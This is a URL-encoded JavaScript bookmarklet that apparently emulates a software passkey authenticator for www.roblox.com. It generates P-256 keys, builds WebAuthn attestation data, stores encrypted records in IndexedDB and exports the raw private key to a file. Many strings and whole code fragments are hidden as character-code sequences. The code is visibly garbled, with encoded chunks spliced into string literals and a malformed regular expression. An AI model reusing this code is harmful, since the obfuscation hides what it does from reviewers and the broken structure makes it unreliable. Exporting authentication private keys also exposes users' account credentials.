Bookmark%20%3D%20async%20%28mode%2C%20operation%2C%20storeName%20%3D%20__S%2899%2C114%2C101%2C100%2C101%2C110%2C116%2C105%2C97%2C108%2C115%29%29%20%3D%3E%20%7B%20const%20db%20%3D%20await%20database%28%29%3B%20return%20new%20Promise%28%28resolve%2C%20reject%29%20%3D%3E%20%7B%20const%20transaction%20%3D%20db.transaction%28storeName%2C%20mode%29%3B%20let%20value%3B%20let%20failure%3B%20const%20fail%20%3D%20error%20%3D%3E%20%7B%20failure%20%3D%20error%3B%20try%20%7B%20transaction.abort%28%29%3B%20%7D%20catch%20%7B%20reject%28error%29%3B%20%7D%20%7D%3B%20transaction.oncomplete%20%3D%20%28%29%20%3D%3E%20resolve%28value%29%3B%20transaction.onabort%20%3D%20transaction.onerror%20%3D%20%28%29%20%3D%3E%20reject%28failure%20%7C%7C%20new%20Error%28__S%2876%2C111%2C99%2C97%2C108%2C32%2C99%2C114%2C101%2C100%2C101%2C110%2C116%2C105%2C97%2C108%2C32%2C115%2C116%2C111%2C114%2C97%2C103%2C101%2C32%2C99%2C111%2C117%2C108%2C100%2C32%2C110%2C111%2C116%2C32%2C99%2C111%2C109%2C112%2C108%2C101%2C116%2C101%2C32%2C116%2C104%2C101%2C32%2C111%2C112%2C101%2C114%2C97%2C116%2C105%2C111%2C110%2C46%29%29%29%3B%20try%20%7B%20operation%28transaction.objectStore%28storeName%29%2C%20result%20%3D%3E%20%7B%20value%20%3D%20result%3B%20%7D%2C%20fail%29%3B%20%7D%20catch%20%28error%29%20%7B%20fail%28error%29%3B%20%7D%20%7D%29%3B%20%7D%3B%20return%20%7B%20ready%3A%20async%20%28%29%20%3D%3E%20%7B%20await%20database%28%29%3B%20%7D%2C%20wrappingKey%3A%20async%20%28%29%20%3D%3E%20%7B%20const%20existing%20%3D%20await%20transact%28__S%28114%2C101%2C97%2C100%2C111%2C110%2C108%2C121%29%2C%20%28store%2C%20set%29%20%3D%3E%20%7B%20const%20request%20%3D%20store.get%28__S%28119%2C114%2C97%2C112%2C112%2C105%2C110%2C103%2C45%2C107%2C101%2C121%29%29%3B%20request.onsuccess%20%3D%20%28%29%20%3D%3E%20set%28request.result%3F.key%29%3B%20%7D%2C%20__S%28118%2C97%2C117%2C108%2C116%29%29%3B%20if%20%28existing%29%20return%20existing%3B%20const%20candidate%20%3D%20await%20crypto.subtle.generateKey%28%7B%20name%3A%20__S%2865%2C69%2C83%2C45%2C71%2C67%2C77%29%2C%20length%3A%20256%20%7D%2C%20false%2C%20%5B__S%28101%2C110%2C99%2C114%2C121%2C112%2C116%29%2C%20__S%28100%2C101%2C99%2C114%2C121%2C112%2C116%29%5D%29%3B%20return%20transact%28__S%28114%2C101%2C97%2C100%2C119%2C114%2C105%2C116%2C101%29%2C%20%28store%2C%20set%2C%20fail%29%20%3D%3E%20%7B%20const%20request%20%3D%20store.get%28__S%28119%2C114%2C97%2C112%2C112%2C105%2C110%2C103%2C45%2C107%2C101%2C121%29%29%3B%20request.onsuccess%20%3D%20%28%29%20%3D%3E%20%7B%20try%20%7B%20const%20current%20%3D%20request.result%3F.key%3B%20if%20%28current%29%20set%28current%29%3B%20else%20%7B%20store.put%28%7B%20id%3A%20__S%28119%2C114%2C97%2C112%2C112%2C105%2C110%2C103%2C45%2C107%2C101%2C121%29%2C%20key%3A%20candidate%20%7D%29%3B%20set%28candidate%29%3B%20%7D%20%7D%20catch%20%28error%29%20%7B%20fail%28error%29%3B%20%7D%20%7D%3B%20%7D%2C%20__S%28118%2C97%2C117%2C108%2C116%29%29%3B%20%7D%2C%20put%3A%20record%20%3D%3E%20transact%28__S%28114%2C101%2C97%2C100%2C119%2C114%2C105%2C116%2C101%29%2C%20store%20%3D%3E%20%7B%20store.put%28record%29%3B%20%7D%29%2C%20list%3A%20rpId%20%3D%3E%20transact%28__S%28114%2C101%2C97%2C100%2C111%2C110%2C108%2C121%29%2C%20%28store%2C%20set%29%20%3D%3E%20%7B%20const%20request%20%3D%20store.index%28__S%28114%2C112%2C73%2C100%29%29.getAll%28rpId%29%3B%20request.onsuccess%20%3D%20%28%29%20%3D%3E%20set%28request.result%29%3B%20%7D%29%2C%20remove%3A%20key%20%3D%3E%20transact%28__S%28114%2C101%2C97%2C100%2C119%2C114%2C105%2C116%2C101%29%2C%20store%20%3D%3E%20%7B%20store.delete%28key%29%3B%20%7D%29%2C%20upgradeEnvelope%3A%20%28key%2C%20envelope%29%20%3D%3E%20transact%28__S%28114%2C101%2C97%2C100%2C119%2C114%2C105%2C116%2C101%29%2C%20%28store%2C%20set%2C%20fail%29%20%3D%3E%20%7B%20const%20request%20%3D%20store.get%28key%29%3B%20request.onsuccess%20%3D%20%28%29%20%3D%3E%20%7B%20try%20%7B%20const%20record%20%3D%20request.result%3B%20if%20%28%21record%29%20throw%20new%20Error%28__S%2884%2C104%2C101%2C32%2C115%2C97%2C118%2C101%2C100%2C32%2C99%2C114%2C101%2C100%2C101%2C110%2C116%2C105%2C97%2C108%2C32%2C119%2C97%2C115%2C32%2C114%2C101%2C109%2C111%2C118%2C101%2C100%2C32%2C98%2C101%2C102%2C111%2C114%2C101%2C32%2C109%2C105%2C103%2C114%2C97%2C116%2C105%2C111%2C110%2C46%29%29%3B%20if%20%28record.envelope.version%20%3D%3D%3D%201%29%20store.put%28%7B%20...record%2C%20envelope%20%7D%29%3B%20%7D%20catch%20%28error%29%20%7B%20fail%28error%29%3B%20%7D%20%7D%3B%20%7D%29%2C%20nextCounter%3A%20key%20%3D%3E%20transact%28__S%28114%2C101%2C97%2C100%2C119%2C114%2C105%2C116%2C101%29%2C%20%28store%2C%20set%2C%20fail%29%20%3D%3E%20%7B%20const%20request%20%3D%20store.get%28key%29%3B%20request.onsuccess%20%3D%20%28%29%20%3D%3E%20%7B%20try%20%7B%20const%20record%20%3D%20request.result%3B%20if%20%28%21record%20%7C%7C%20%21Number.isSafeInteger%28record.signCount%29%20%7C%7C%20record.signCount%20%3C%200%20%7C%7C%20record.signCount%20%3E%3D%200xffffffff%29%20throw%20new%20Error%28__S%2884%2C104%2C101%2C32%2C115%2C97%2C118%2C101%2C100%2C32%2C99%2C114%2C101%2C100%2C101%2C110%2C116%2C105%2C97%2C108%2C32%2C99%2C97%2C110%2C110%2C111%2C116%2C32%2C97%2C108%2C108%2C111%2C99%2C97%2C116%2C101%2C32%2C97%2C32%2C115%2C105%2C103%2C110%2C97%2C116%2C117%2C114%2C101%2C32%2C99%2C111%2C117%2C110%2C116%2C101%2C114%2C46%29%29%3B%20const%20next%20%3D%20record.signCount%20%2B%201%3B%20store.put%28%7B%20...record%2C%20signCount%3A%20next%20%7D%29%3B%20set%28next%29%3B%20%7D%20catch%20%28error%29%20%7B%20fail%28error%29%3B%20%7D%20%7D%3B%20%7D%29%2C%20%7D%3B%20%7D%20return%20%7B%20create%20%7D%3B%20%7D%29%28%29%3B%20const%20SoftwareCredential%20%3D%20%28%28%29%20%3D%3E%20%7B%20__S%28117%2C115%2C101%2C32%2C115%2C116%2C114%2C105%2C99%2C116%29%3B%20const%20encoder%20%3D%20new%20TextEncoder%28%29%3B%20const%20base64url%20%3D%20bytes%20%3D%3E%20%7B%20let%20binary%20%3D%20__S%28%29%3B%20for%20%28const%20byte%20of%20bytes%29%20binary%20%2B%3D%20String.fromCharCode%28byte%29%3B%20return%20btoa%28binary%29.replace%28%2F%5C%2B%2Fg%2C%20__S%2845%29%29.replace%28%2F%5C%2F%2Fg%2C%20__S%2895%29%29.replace%28%3D%2B%24%2F%2C%20%27%27%29%3B%20%7D%3B%20const%20from64%20%3D%20value%20%3D%3E%20Uint8Array.from%28atob%28value.replace%28%2F-%2Fg%2C%20%27%2B%27%29.replace%28%2F_%2Fg%2C%20%27%2F__S%2841%2C41%2C44%2C32%2C99%2C32%2C61%2C62%2C32%2C99%2C46%2C99%2C104%2C97%2C114%2C67%2C111%2C100%2C101%2C65%2C116%2C40%2C48%2C41%2C41%2C59%2C32%2C99%2C111%2C110%2C115%2C116%2C32%2C98%2C105%2C110%2C97%2C114%2C121%2C32%2C61%2C32%2C118%2C97%2C108%2C117%2C101%2C32%2C61%2C62%2C32%2C123%2C32%2C105%2C102%2C32%2C40%2C65%2C114%2C114%2C97%2C121%2C66%2C117%2C102%2C102%2C101%2C114%2C46%2C105%2C115%2C86%2C105%2C101%2C119%2C40%2C118%2C97%2C108%2C117%2C101%2C41%2C41%2C32%2C114%2C101%2C116%2C117%2C114%2C110%2C32%2C110%2C101%2C119%2C32%2C85%2C105%2C110%2C116%2C56%2C65%2C114%2C114%2C97%2C121%2C40%2C118%2C97%2C108%2C117%2C101%2C46%2C98%2C117%2C102%2C102%2C101%2C114%2C44%2C32%2C118%2C97%2C108%2C117%2C101%2C46%2C98%2C121%2C116%2C101%2C79%2C102%2C102%2C115%2C101%2C116%2C44%2C32%2C118%2C97%2C108%2C117%2C101%2C46%2C98%2C121%2C116%2C101%2C76%2C101%2C110%2C103%2C116%2C104%2C41%2C46%2C115%2C108%2C105%2C99%2C101%2C40%2C41%2C59%2C32%2C105%2C102%2C32%2C40%2C79%2C98%2C106%2C101%2C99%2C116%2C46%2C112%2C114%2C111%2C116%2C111%2C116%2C121%2C112%2C101%2C46%2C116%2C111%2C83%2C116%2C114%2C105%2C110%2C103%2C46%2C99%2C97%2C108%2C108%2C40%2C118%2C97%2C108%2C117%2C101%2C41%2C32%2C61%2C61%2C61%2C32%29%5Bobject%20ArrayBuffer%5D__S%2841%2C32%2C114%2C101%2C116%2C117%2C114%2C110%2C32%2C110%2C101%2C119%2C32%2C85%2C105%2C110%2C116%2C56%2C65%2C114%2C114%2C97%2C121%2C40%2C118%2C97%2C108%2C117%2C101%2C41%2C46%2C115%2C108%2C105%2C99%2C101%2C40%2C41%2C59%2C32%2C116%2C104%2C114%2C111%2C119%2C32%2C110%2C101%2C119%2C32%2C69%2C114%2C114%2C111%2C114%2C40%29Roblox%20supplied%20invalid%20binary%20registration%20options.__S%2841%2C59%2C32%2C125%2C59%2C32%2C99%2C111%2C110%2C115%2C116%2C32%2C106%2C111%2C105%2C110%2C32%2C61%2C32%2C40%2C46%2C46%2C46%2C97%2C114%2C114%2C97%2C121%2C115%2C41%2C32%2C61%2C62%2C32%2C123%2C32%2C99%2C111%2C110%2C115%2C116%2C32%2C114%2C101%2C115%2C117%2C108%2C116%2C32%2C61%2C32%2C110%2C101%2C119%2C32%2C85%2C105%2C110%2C116%2C56%2C65%2C114%2C114%2C97%2C121%2C40%2C97%2C114%2C114%2C97%2C121%2C115%2C46%2C114%2C101%2C100%2C117%2C99%2C101%2C40%2C40%2C115%2C105%2C122%2C101%2C44%2C32%2C97%2C114%2C114%2C97%2C121%2C41%2C32%2C61%2C62%2C32%2C115%2C105%2C122%2C101%2C32%2C43%2C32%2C97%2C114%2C114%2C97%2C121%2C46%2C108%2C101%2C110%2C103%2C116%2C104%2C44%2C32%2C48%2C41%2C41%2C59%2C32%2C108%2C101%2C116%2C32%2C111%2C102%2C102%2C115%2C101%2C116%2C32%2C61%2C32%2C48%2C59%2C32%2C102%2C111%2C114%2C32%2C40%2C99%2C111%2C110%2C115%2C116%2C32%2C97%2C114%2C114%2C97%2C121%2C32%2C111%2C102%2C32%2C97%2C114%2C114%2C97%2C121%2C115%2C41%2C32%2C123%2C32%2C114%2C101%2C115%2C117%2C108%2C116%2C46%2C115%2C101%2C116%2C40%2C97%2C114%2C114%2C97%2C121%2C44%2C32%2C111%2C102%2C102%2C115%2C101%2C116%2C41%2C59%2C32%2C111%2C102%2C102%2C115%2C101%2C116%2C32%2C43%2C61%2C32%2C97%2C114%2C114%2C97%2C121%2C46%2C108%2C101%2C110%2C103%2C116%2C104%2C59%2C32%2C125%2C32%2C114%2C101%2C116%2C117%2C114%2C110%2C32%2C114%2C101%2C115%2C117%2C108%2C116%2C59%2C32%2C125%2C59%2C32%2C102%2C117%2C110%2C99%2C116%2C105%2C111%2C110%2C32%2C99%2C98%2C111%2C114%2C40%2C118%2C97%2C108%2C117%2C101%2C41%2C32%2C123%2C32%2C99%2C111%2C110%2C115%2C116%2C32%2C104%2C101%2C97%2C100%2C32%2C61%2C32%2C40%2C109%2C97%2C106%2C111%2C114%2C44%2C32%2C110%2C41%2C32%2C61%2C62%2C32%2C123%2C32%2C105%2C102%2C32%2C40%2C110%2C32%2C60%2C32%2C50%2C52%2C41%2C32%2C114%2C101%2C116%2C117%2C114%2C110%2C32%2C110%2C101%2C119%2C32%2C85%2C105%2C110%2C116%2C56%2C65%2C114%2C114%2C97%2C121%2C40%2C91%2C40%2C109%2C97%2C106%2C111%2C114%2C32%2C60%2C60%2C32%2C53%2C41%2C32%2C124%2C32%2C110%2C93%2C41%2C59%2C32%2C105%2C102%2C32%2C40%2C110%2C32%2C60%2C32%2C50%2C53%2C54%2C41%2C32%2C114%2C101%2C116%2C117%2C114%2C110%2C32%2C110%2C101%2C119%2C32%2C85%2C105%2C110%2C116%2C56%2C65%2C114%2C114%2C97%2C121%2C40%2C91%2C40%2C109%2C97%2C106%2C111%2C114%2C32%2C60%2C60%2C32%2C53%2C41%2C32%2C124%2C32%2C50%2C52%2C44%2C32%2C110%2C93%2C41%2C59%2C32%2C105%2C102%2C32%2C40%2C110%2C32%2C60%2C32%2C54%2C53%2C53%2C51%2C54%2C41%2C32%2C114%2C101%2C116%2C117%2C114%2C110%2C32%2C110%2C101%2C119%2C32%2C85%2C105%2C110%2C116%2C56%2C65%2C114%2C114%2C97%2C121%2C40%2C91%2C40%2C109%2C97%2C106%2C111%2C114%2C32%2C60%2C60%2C32%2C53%2C41%2C32%2C124%2C32%2C50%2C53%2C44%2C32%2C110%2C32%2C62%2C62%2C32%2C56%2C44%2C32%2C110%2C32%2C38%2C32%2C50%2C53%2C53%2C93%2C41%2C59%2C32%2C116%2C104%2C114%2C111%2C119%2C32%2C110%2C101%2C119%2C32%2C69%2C114%2C114%2C111%2C114%2C40%29Registration%20field%20is%20too%20large.__S%2841%2C59%2C32%2C125%2C59%2C32%2C105%2C102%2C32%2C40%2C78%2C117%2C109%2C98%2C101%2C114%2C46%2C105%2C115%2C83%2C97%2C102%2C101%2C73%2C110%2C116%2C101%2C103%2C101%2C114%2C40%2C118%2C97%2C108%2C117%2C101%2C41%2C41%2C32%2C114%2C101%2C116%2C117%2C114%2C110%2C32%2C118%2C97%2C108%2C117%2C101%2C32%2C60%2C32%2C48%2C32%2C63%2C32%2C104%2C101%2C97%2C100%2C40%2C49%2C44%2C32%2C45%2C49%2C32%2C45%2C32%2C118%2C97%2C108%2C117%2C101%2C41%2C32%2C58%2C32%2C104%2C101%2C97%2C100%2C40%2C48%2C44%2C32%2C118%2C97%2C108%2C117%2C101%2C41%2C59%2C32%2C105%2C102%2C32%2C40%2C118%2C97%2C108%2C117%2C101%2C32%2C105%2C110%2C115%2C116%2C97%2C110%2C99%2C101%2C111%2C102%2C32%2C85%2C105%2C110%2C116%2C56%2C65%2C114%2C114%2C97%2C121%2C41%2C32%2C114%2C101%2C116%2C117%2C114%2C110%2C32%2C106%2C111%2C105%2C110%2C40%2C104%2C101%2C97%2C100%2C40%2C50%2C44%2C32%2C118%2C97%2C108%2C117%2C101%2C46%2C108%2C101%2C110%2C103%2C116%2C104%2C41%2C44%2C32%2C118%2C97%2C108%2C117%2C101%2C41%2C59%2C32%2C105%2C102%2C32%2C40%2C116%2C121%2C112%2C101%2C111%2C102%2C32%2C118%2C97%2C108%2C117%2C101%2C32%2C61%2C61%2C61%2C32%29string__S%2841%2C32%2C123%2C32%2C99%2C111%2C110%2C115%2C116%2C32%2C98%2C121%2C116%2C101%2C115%2C32%2C61%2C32%2C101%2C110%2C99%2C111%2C100%2C101%2C114%2C46%2C101%2C110%2C99%2C111%2C100%2C101%2C40%2C118%2C97%2C108%2C117%2C101%2C41%2C59%2C32%2C114%2C101%2C116%2C117%2C114%2C110%2C32%2C106%2C111%2C105%2C110%2C40%2C104%2C101%2C97%2C100%2C40%2C51%2C44%2C32%2C98%2C121%2C116%2C101%2C115%2C46%2C108%2C101%2C110%2C103%2C116%2C104%2C41%2C44%2C32%2C98%2C121%2C116%2C101%2C115%2C41%2C59%2C32%2C125%2C32%2C105%2C102%2C32%2C40%2C118%2C97%2C108%2C117%2C101%2C32%2C105%2C110%2C115%2C116%2C97%2C110%2C99%2C101%2C111%2C102%2C32%2C77%2C97%2C112%2C41%2C32%2C114%2C101%2C116%2C117%2C114%2C110%2C32%2C106%2C111%2C105%2C110%2C40%2C104%2C101%2C97%2C100%2C40%2C53%2C44%2C32%2C118%2C97%2C108%2C117%2C101%2C46%2C115%2C105%2C122%2C101%2C41%2C44%2C32%2C46%2C46%2C46%2C91%2C46%2C46%2C46%2C118%2C97%2C108%2C117%2C101%2C93%2C46%2C102%2C108%2C97%2C116%2C77%2C97%2C112%2C40%2C40%2C91%2C107%2C44%2C32%2C118%2C93%2C41%2C32%2C61%2C62%2C32%2C91%2C99%2C98%2C111%2C114%2C40%2C107%2C41%2C44%2C32%2C99%2C98%2C111%2C114%2C40%2C118%2C41%2C93%2C41%2C41%2C59%2C32%2C116%2C104%2C114%2C111%2C119%2C32%2C110%2C101%2C119%2C32%2C69%2C114%2C114%2C111%2C114%2C40%29Unsupported%20registration%20field.__S%2841%2C59%2C32%2C125%2C32%2C102%2C117%2C110%2C99%2C116%2C105%2C111%2C110%2C32%2C118%2C97%2C108%2C105%2C100%2C97%2C116%2C101%2C40%2C111%2C112%2C116%2C105%2C111%2C110%2C115%2C44%2C32%2C111%2C114%2C105%2C103%2C105%2C110%2C41%2C32%2C123%2C32%2C105%2C102%2C32%2C40%2C111%2C114%2C105%2C103%2C105%2C110%2C32%2C33%2C61%2C61%2C32%29https%3A%2F%2Fwww.roblox.com%27%29%20throw%20new%20Error%28%27This%20bookmark%20only%20supports%20www.roblox.com.%27%29%3B%20const%20rpId%20%3D%20options.rp%3F.id%20%7C%7C%20%27www.roblox.com%27%3B%20if%20%28%21%5B%27roblox.com%27%2C%20%27www.roblox.com%27%5D.includes%28rpId%29%29%20throw%20new%20Error%28%27Unexpected%20relying-party%20ID.%27%29%3B%20const%20selection%20%3D%20options.authenticatorSelection%20%7C%7C%20%7B%7D%3B%20if%20%28selection.userVerification%20%3D%3D%3D%20%27required%27%29%20%7B%20throw%20new%20Error%28%27Roblox%20requires%20authenticator-level%20user%20verification.%20This%20software%20exporter%20cannot%20satisfy%20that%20requirement.%20Use%20Roblox%E2%80%99s%20device%20passkey%20setup.%20No%20key%20was%20created.%27%29%3B%20%7D%20if%20%28selection.authenticatorAttachment%20%3D%3D%3D%20%27cross-platform%27%29%20throw%20new%20Error%28%27Roblox%20requested%20an%20external%20authenticator%2C%20which%20this%20bookmark%20does%20not%20provide.%27%29%3B%20if%20%28options.attestation%20%26%26%20%21%5B%27none%27%2C%20%27direct%27%2C%20%27indirect%27%5D.includes%28options.attestation%29%29%20throw%20new%20Error%28%27Roblox%20requested%20attestation%20this%20software%20exporter%20cannot%20provide.%20No%20key%20was%20created.%27%29%3B%20if%20%28%21options.pubKeyCredParams%3F.some%28item%20%3D%3E%20item.type%20%3D%3D%3D%20%27public-key%27%20%26%26%20item.alg%20%3D%3D%3D%20-7%29%29%20throw%20new%20Error%28%27Roblox%20did%20not%20offer%20the%20supported%20P-256%20algorithm.%27%29%3B%20if%20%28Object.keys%28options.extensions%20%7C%7C%20%7B%7D%29.some%28key%20%3D%3E%20key%20%21%3D%3D%20%27credProps%27%29%29%20throw%20new%20Error%28%27Roblox%20requested%20an%20authenticator%20extension%20this%20exporter%20does%20not%20support.%27%29%3B%20const%20challenge%20%3D%20binary%28options.challenge%29%3B%20const%20user%20%3D%20binary%28options.user%3F.id%29%3B%20if%20%28challenge.length%20%3C%2016%20%7C%7C%20challenge.length%20%3E%201024%20%7C%7C%20%21user.length%20%7C%7C%20user.length%20%3E%2064%29%20throw%20new%20Error%28%27Invalid%20registration%20challenge%20or%20user%20handle.%27%29%3B%20return%20%7B%20rpId%2C%20challenge%2C%20user%20%7D%3B%20%7D%20async%20function%20make%28options%2C%20origin%2C%20approved%29%20%7B%20const%20%7B%20rpId%2C%20challenge%2C%20user%20%7D%20%3D%20validate%28options%2C%20origin%29%3B%20if%20%28approved%20%21%3D%3D%20true%29%20throw%20new%20Error%28%27Creation%20and%20private-key%20export%20were%20not%20approved.%27%29%3B%20const%20pair%20%3D%20await%20crypto.subtle.generateKey%28%7B%20name%3A%20%27ECDSA%27%2C%20namedCurve%3A%20%27P-256%27%20%7D%2C%20true%2C%20%5B%27sign%27%2C%20%27verify%27%5D%29%3B%20const%20jwk%20%3D%20await%20crypto.subtle.exportKey%28%27jwk%27%2C%20pair.privateKey%29%3B%20const%20publicKey%20%3D%20new%20Uint8Array%28await%20crypto.subtle.exportKey%28%27spki%27%2C%20pair.publicKey%29%29%3B%20const%20id%20%3D%20crypto.getRandomValues%28new%20Uint8Array%2832%29%29%3B%20const%20rpHash%20%3D%20new%20Uint8Array%28await%20crypto.subtle.digest%28%27SHA-256%27%2C%20encoder.encode%28rpId%29%29%29%3B%20const%20cose%20%3D%20cbor%28new%20Map%28%5B%5B1%2C%202%5D%2C%20%5B3%2C%20-7%5D%2C%20%5B-1%2C%201%5D%2C%20%5B-2%2C%20from64%28jwk.x%29%5D%2C%20%5B-3%2C%20from64%28jwk.y%29%5D%5D%29%29%3B%20const%20authData%20%3D%20join%28rpHash%2C%20new%20Uint8Array%28%5B0x41%5D%29%2C%20new%20Uint8Array%284%29%2C%20new%20Uint8Array%2816%29%2C%20new%20Uint8Array%28%5B0%2C%20id.length%5D%29%2C%20id%2C%20cose%29%3B%20const%20clientData%20%3D%20encoder.encode%28JSON.stringify%28%7B%20type%3A%20%27webauthn.create%27%2C%20challenge%3A%20base64url%28challenge%29%2C%20origin%2C%20crossOrigin%3A%20false%20%7D%29%29%3B%20let%20format%20%3D%20%27none%27%3B%20let%20statement%20%3D%20new%20Map%28%29%3B%20if%20%28%5B%27direct%27%2C%20%27indirect%27%5D.includes%28options.attestation%29%29%20%7B%20const%20clientHash%20%3D%20new%20Uint8Array%28await%20crypto.subtle.digest%28%27SHA-256%27%2C%20clientData%29%29%3B%20const%20signature%20%3D%20der%28new%20Uint8Array%28await%20crypto.subtle.sign%28%7B%20name%3A%20%27ECDSA%27%2C%20hash%3A%20%27SHA-256%27%20%7D%2C%20pair.privateKey%2C%20join%28authData%2C%20clientHash%29%29%29%29%3B%20format%20%3D%20%27packed%27%3B%20statement%20%3D%20new%20Map%28%5B%5B%27alg%27%2C%20-7%5D%2C%20%5B%27sig%27%2C%20signature%5D%5D%29%3B%20%7D%20const%20attestation%20%3D%20cbor%28new%20Map%28%5B%5B%27fmt%27%2C%20format%5D%2C%20%5B%27attStmt%27%2C%20statement%5D%2C%20%5B%27authData%27%2C%20authData%5D%5D%29%29%3B%20return%20%7B%20publicData%3A%20%7B%20id%3A%20base64url%28id%29%2C%20clientDataJSON%3A%20base64url%28clientData%29%2C%20attestationObject%3A%20base64url%28attestation%29%2C%20authenticatorData%3A%20base64url%28authData%29%2C%20publicKey%3A%20base64url%28publicKey%29%2C%20clientExtensionResults%3A%20options.extensions%3F.credProps%20%3F%20%7B%20credProps%3A%20%7B%20rk%3A%20false%20%7D%20%7D%20%3A%20%7B%7D%2C%20%7D%2C%20privateExport%3A%20%7B%20format%3A%20%27software-webauthn-credential-v1%27%2C%20credential_id%3A%20base64url%28id%29%2C%20user_handle%3A%20base64url%28user%29%2C%20x%3A%20jwk.x%2C%20y%3A%20jwk.y%2C%20d%3A%20jwk.d%2C%20rpId%2C%20algorithm%3A%20%27ES256%27%2C%20created_at%3A%20new%20Date%28%29.toISOString%28%29%2C%20user_verified%3A%20false%2C%20resident_key%3A%20false%2C%20account_name%3A%20String%28options.user%3F.name%20%7C%7C%20%27%27%29.slice%280%2C%20128%29%2C%20account_display_name%3A%20String%28options.user%3F.displayName%20%7C%7C%20%27%27%29.slice%280%2C%20128%29%2C%20registration_status%3A%20%27unconfirmed%3A%20check%20Roblox%20Account%20Settings%20before%20treating%20this%20as%20a%20registered%20login%20credential%27%2C%20note%3A%20%27This%20file%20contains%20a%20software%20credential%20private%20key.%20It%20is%20not%20a%20Google%20Password%20Manager%20or%20Windows%20Hello%20passkey%20export.%20Keep%20it%20private.%27%2C%20%7D%2C%20%7D%3B%20%7D%20function%20credential%28win%2C%20data%29%20%7B%20const%20buffer%20%3D%20value%20%3D%3E%20new%20win.Uint8Array%28from64%28value%29%29.buffer%3B%20const%20define%20%3D%20%28object%2C%20fields%29%20%3D%3E%20win.Object.defineProperties%28object%2C%20Object.fromEntries%28Object.entries%28fields%29.map%28%28%5Bkey%2C%20value%5D%29%20%3D%3E%20%5Bkey%2C%20%7B%20value%2C%20enumerable%3A%20true%2C%20configurable%3A%20true%20%7D%5D%29%29%29%3B%20const%20responseJson%20%3D%20%28%29%20%3D%3E%20%28%7B%20clientDataJSON%3A%20data.clientDataJSON%2C%20attestationObject%3A%20data.attestationObject%2C%20authenticatorData%3A%20data.authenticatorData%2C%20publicKey%3A%20data.publicKey%2C%20publicKeyAlgorithm%3A%20-7%2C%20transports%3A%20%5B%5D%20%7D%29%3B%20const%20response%20%3D%20define%28win.Object.create%28win.AuthenticatorAttestationResponse.prototype%29%2C%20%7B%20clientDataJSON%3A%20buffer%28data.clientDataJSON%29%2C%20attestationObject%3A%20buffer%28data.attestationObject%29%2C%20getAuthenticatorData%3A%20%28%29%20%3D%3E%20buffer%28data.authenticatorData%29%2C%20getPublicKey%3A%20%28%29%20%3D%3E%20buffer%28data.publicKey%29%2C%20getPublicKeyAlgorithm%3A%20%28%29%20%3D%3E%20-7%2C%20getTransports%3A%20%28%29%20%3D%3E%20%5B%5D%2C%20toJSON%3A%20responseJson%2C%20%7D%29%3B%20return%20define%28win.Object.create%28win.PublicKeyCredential.prototype%29%2C%20%7B%20id%3A%20data.id%2C%20rawId%3A%20buffer%28data.id%29%2C%20type%3A%20%27public-key%27%2C%20authenticatorAttachment%3A%20null%2C%20response%2C%20getClientExtensionResults%3A%20%28%29%20%3D%3E%20data.clientExtensionResults%2C%20toJSON%3A%20%28%29%20%3D%3E%20%28%7B%20id%3A%20data.id%2C%20rawId%3A%20data.id%2C%20type%3A%20%27public-key%27%2C%20authenticatorAttachment%3A%20null%2C%20clientExtensionResults%3A%20data.clientExtensionResults%2C%20response%3A%20responseJson%28%29%20%7D%29%2C%20%7D%29%3B%20%7D%20const%20identity%20%3D%20record%20%3D%3E%20JSON.stringify%28%5Brecord.rpId%2C%20record.credential_id%2C%20record.user_handle%5D%29%3B%20const%20storageKey%20%3D%20record%20%3D%3E%20record.rpId%20%2B%20%27%3A%27%20%2B%20record.credential_id%3B%20async%20function%20wrappingKey%28password%2C%20salt%29%20%7B%20if%20%28typeof%20password%20%21%3D%3D%20%27string%27%20%7C%7C%20password.length%20%3C%2012%29%20throw%20new%20Error%28%27Use%20a%20separate%20local%20exporter%20password%20of%20at%20least%2012%20characters.%27%29%3B%20const%20material%20%3D%20await%20crypto.subtle.importKey%28%27raw%27%2C%20encoder.encode%28password%29%2C%20%27PBKDF2%27%2C%20false%2C%20%5B%27deriveKey%27%5D%29%3B%20return%20crypto.subtle.deriveKey%28%7B%20name%3A%20%27PBKDF2%27%2C%20hash%3A%20%27SHA-256%27%2C%20salt%2C%20iterations%3A%20600000%20%7D%2C%20material%2C%20%7B%20name%3A%20%27AES-GCM%27%2C%20length%3A%20256%20%7D%2C%20false%2C%20%5B%27encrypt%27%2C%20%27decrypt%27%5D%29%3B%20%7D%20async%20function%20seal%28record%2C%20protection%29%20%7B%20const%20legacy%20%3D%20typeof%20protection%20%3D%3D%3D%20%27string%27%3B%20const%20salt%20%3D%20legacy%20%3F%20crypto.getRandomValues%28new%20Uint8Array%2816%29%29%20%3A%20null%3B%20const%20iv%20%3D%20crypto.getRandomValues%28new%20Uint8Array%2812%29%29%3B%20const%20key%20%3D%20legacy%20%3F%20await%20wrappingKey%28protection%2C%20salt%29%20%3A%20protection%3B%20const%20plaintext%20%3D%20encoder.encode%28JSON.stringify%28record%29%29%3B%20try%20%7B%20const%20ciphertext%20%3D%20new%20Uint8Array%28await%20crypto.subtle.encrypt%28%7B%20name%3A%20%27AES-GCM%27%2C%20iv%2C%20additionalData%3A%20encoder.encode%28identity%28record%29%29%20%7D%2C%20key%2C%20plaintext%29%29%3B%20return%20%7B%20key%3A%20storageKey%28record%29%2C%20rpId%3A%20record.rpId%2C%20credential_id%3A%20record.credential_id%2C%20user_handle%3A%20record.user_handle%2C%20account_name%3A%20record.account_name%2C%20account_display_name%3A%20record.account_display_name%2C%20created_at%3A%20record.created_at%2C%20signCount%3A%200%2C%20envelope%3A%20%7B%20version%3A%20legacy%20%3F%201%20%3A%202%2C%20...%28legacy%20%3F%20%7B%20salt%3A%20base64url%28salt%29%20%7D%20%3A%20%7B%7D%29%2C%20iv%3A%20base64url%28iv%29%2C%20ciphertext%3A%20base64url%28ciphertext%29%20%7D%20%7D%3B%20%7D%20finally%20%7B%20plaintext.fill%280%29%3B%20%7D%20%7D%20async%20function%20unseal%28stored%2C%20protection%29%20%7B%20if%20%28%21%5B1%2C%202%5D.includes%28stored.envelope%3F.version%29%20%7C%7C%20stored.key%20%21%3D%3D%20storageKey%28stored%29%29%20throw%20new%20Error%28%27Unsupported%20or%20damaged%20saved%20credential.%27%29%3B%20try%20%7B%20const%20key%20%3D%20stored.envelope.version%20%3D%3D%3D%201%20%3F%20await%20wrappingKey%28protection%2C%20from64%28stored.envelope.salt%29%29%20%3A%20protection%3B%20const%20plaintext%20%3D%20new%20Uint8Array%28await%20crypto.subtle.decrypt%28%7B%20name%3A%20%27AES-GCM%27%2C%20iv%3A%20from64